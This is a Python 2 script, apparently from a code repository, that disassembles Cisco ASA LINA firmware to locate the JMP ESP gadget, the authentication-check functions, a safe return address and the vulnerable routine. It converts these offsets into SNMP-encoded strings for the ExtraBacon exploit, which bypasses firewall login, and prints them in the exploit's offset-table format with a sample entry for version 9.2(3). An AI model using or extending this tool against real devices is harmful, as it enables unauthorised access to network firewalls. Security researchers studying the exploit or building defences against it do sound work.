README.md
Rendering markdown...
#!/usr/bin/env python2
"""
Finds ExtraBacon offsets in LINA.ELF files.
"""
import subprocess
import json
import binascii
LINA_FIND = """
[
{
"name": "JMPESP",
"find": [
"ff e4"
],
"match": "ff e4",
"type": "EXACT",
"oneshot": true,
"before": 0,
"after": 0
},
{
"name": "PMCHECK",
"find": [
"8b 75 08",
"89 7d fc",
"8b 16",
"85 d2"
],
"match": "55",
"type": "BEFORE",
"oneshot": false,
"before": 0,
"after": 2
},
{
"name": "ADMAUTH",
"find": [
"c7 45 f0 01 00 00 00",
"66 c7 45 ?? c1 10"
],
"match": "55",
"type": "BEFORE",
"oneshot": false,
"before": 0,
"after": 2
},
{
"name": "SAFE_RET",
"find": [
"8b 45 e4",
"89 44 24 18",
"8b 45 ??",
"89 44 24 14",
"8b 45 ec",
"89 44 24 10",
"8b ?? 10",
"89 ?? 24 08",
"89 ?? 24 0c",
"8b ?? 14",
"89 ?? 24 04",
"8b ?? 18",
"89 ?? 24",
"e8 ?? ?? ff ff",
"85 c0",
"--",
"a3 ?? ?? ?? ??",
"0f 84 ?? ?? ?? ??"
],
"match": "85 c0",
"type": "AFTER",
"oneshot": false,
"before": 1,
"after": 0
}
,
{
"name": "VULNFUNC",
"find": [
"89 e5",
"57",
"56",
"53",
"83 ec 6c",
"a1 ?? ?? ?? ??",
"8b 5d 1c",
"85 c0",
"0f 84 ?? ?? ?? ??",
"8b 03"
],
"match": "55",
"type": "BEFORE",
"oneshot": false,
"before": 0,
"after": 0
}
]
"""
class Finder(object):
def __init__(self, fname):
self.fname = fname
self.sequences = []
self._parse_instructions()
def _parse_instructions(self):
cmd = ["objdump", "-M", "intel", "-w", "-j", ".text", "-D", self.fname]
ps = subprocess.Popen(cmd, stdout=subprocess.PIPE)
output = ps.communicate()[0]
self.instructions = []
for line in output.split("\n"):
line = line.split("\t")
if len(line) != 3 or ":" not in line[0]:
continue
instruction = {}
instruction["address"] = line[0].strip().replace(":", "")
instruction["bytes"] = line[1].strip()
instruction["operation"] = line[2].strip()
self.instructions.append(instruction)
def _check_wildcard(self, find_bytes, inst_bytes):
find_bytes = find_bytes.split(" ")
inst_bytes = inst_bytes.split(" ")
if len(find_bytes) != len(inst_bytes):
return False
for x in range(0, len(find_bytes)):
if find_bytes[x] == "??":
continue
if find_bytes[x] != inst_bytes[x]:
return False
return True
def _find_match(self, i, sequence):
import copy
for x in range(0, len(sequence["find"])):
find_bytes = sequence["find"][x]
inst_bytes = self.instructions[i + x]["bytes"]
if "--" in find_bytes:
continue
elif "??" in find_bytes:
if not self._check_wildcard(find_bytes, inst_bytes):
return None
elif find_bytes not in inst_bytes:
return None
if sequence['type'] == 'EXACT':
ret = copy.deepcopy(sequence)
ret['found'] = self.instructions[i - sequence['before'] : i + sequence['after'] + 1]
return ret
if sequence['type'] == 'BEFORE':
search_range = range(i, 0, -1)
else:
search_range = range(i, len(self.instructions))
for x in search_range:
if sequence['match'] == self.instructions[x]['bytes']:
ret = copy.deepcopy(sequence)
ret['found'] = self.instructions[x - sequence['before'] : x + sequence['after'] + 1]
return ret
return None
def search(self, jsondata):
self.sequences = json.loads(jsondata)
for i in range(0, len(self.instructions)):
for sequence in self.sequences:
match = self._find_match(i, sequence)
if match is not None:
if sequence['oneshot']:
self.sequences.remove(sequence)
yield match
def hex_to_snmp(hex_str, convert_endian = True):
if (len(hex_str) == 7):
hex_str = "0" + hex_str
#print hex_str
hex = binascii.unhexlify(hex_str)
if convert_endian:
hex = reversed(hex)
ret = ""
for n in hex:
ret += str(int(binascii.hexlify(n), 16))
ret += "."
ret = ret[:-1]
return ret
# if you thought the above code was bad, get a load of this!
def post_auth_func(func):
before_bytes = []
for instr in func['found']:
for byte in instr['bytes'].split(" "):
if len(before_bytes) == 4:
continue
before_bytes.append(byte)
before_bytes = "".join(before_bytes)
addr = func['found'][0]['address']
bounds = addr[:-3]
bounds += "000"
name = func['name'].lower()
offset_snmp = hex_to_snmp(addr)
bounds_snmp = hex_to_snmp(bounds)
bytes_snmp = hex_to_snmp(before_bytes, False)
print("%s_offset\t= \"%s\"\t\t# 0x%08x" % (name, hex_to_snmp(addr), int(addr, 16)))
print("%s_bounds\t= \"%s\"\t\t# 0x%08x" % (name, hex_to_snmp(bounds), int(bounds, 16)))
print("%s_code\t= \"%s\"\t\t# 0x%08x" % (name,hex_to_snmp(before_bytes, False), int(before_bytes, 16)))
return offset_snmp, bounds_snmp, bytes_snmp
def post_process(results):
vuln = [a for a in results if a['name'] == 'VULNFUNC'][0]['found'][0]['address']
safes = [a for a in results if a['name'] == 'SAFE_RET']
admauth = [a for a in results if a['name'] == 'ADMAUTH'][0]
pmcheck = [a for a in results if a['name'] == 'PMCHECK'][0]
jmpesp = [a for a in results if a['name'] == 'JMPESP'][0]
for safe in safes:
op = safe['found'][0]['operation']
#print("%s = %s?" % (vuln, op))
if vuln in op:
addr = safe['found'][1]['address']
saferet_snmp = hex_to_snmp(addr)
print("saferet_offset\t= \"%s\"\t\t# 0x%08x" % (hex_to_snmp(addr), int(addr, 16)))
jmpesp_bytes = jmpesp['found'][0]['bytes'].split(" ")
jmp_offset = 0
for x in range(0, len(jmpesp_bytes)):
if jmpesp_bytes[x] == "ff" and jmpesp_bytes[x + 1] == "e4":
jmp_offset = x
break
jmp_esp_addr = int(jmpesp['found'][0]['address'], 16)
jmp_esp_addr += jmp_offset
jmp_esp_str = "%07x" % jmp_esp_addr
print("jmp_esp_offset\t= \"%s\"\t\t# 0x%08x" % (hex_to_snmp(jmp_esp_str), jmp_esp_addr))
adm_offset_snmp, adm_bounds_snmp, adm_bytes_snmp = post_auth_func(admauth)
pm_offset_snmp, pm_bounds_snmp, pm_bytes_snmp = post_auth_func(pmcheck)
print("fix_ebp\t= \"72\"\t\t# 0x48")
"""
"9.2(3)" => ["29.112.29.8", # jmp_esp_offset, 0
"134.115.39.9", # saferet_offset, 1
"72", # fix_ebp, 2
"0.128.183.9", # pmcheck_bounds, 3
"16.128.183.9", # pmcheck_offset, 4
"85.49.192.137", # pmcheck_code, 5
"0.80.8.8", # admauth_bounds, 6
"64.90.8.8", # admauth_offset, 7
"85.137.229.87"], # admauth_code, 8
"""
jmp_snmp = hex_to_snmp(jmp_esp_str)
offsets = (jmp_snmp, saferet_snmp, "72", pm_bounds_snmp, pm_offset_snmp, pm_bytes_snmp, adm_bounds_snmp, adm_offset_snmp, adm_bytes_snmp)
print('#"VERS" => ["%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s"]' % offsets)
if __name__ == '__main__':
import sys
try:
f = Finder(sys.argv[1])
matches = []
for match in f.search(LINA_FIND):
print(match)
matches.append(match)
post_process(matches)
except IndexError:
print("Usage: %s lina_file" % sys.argv[0])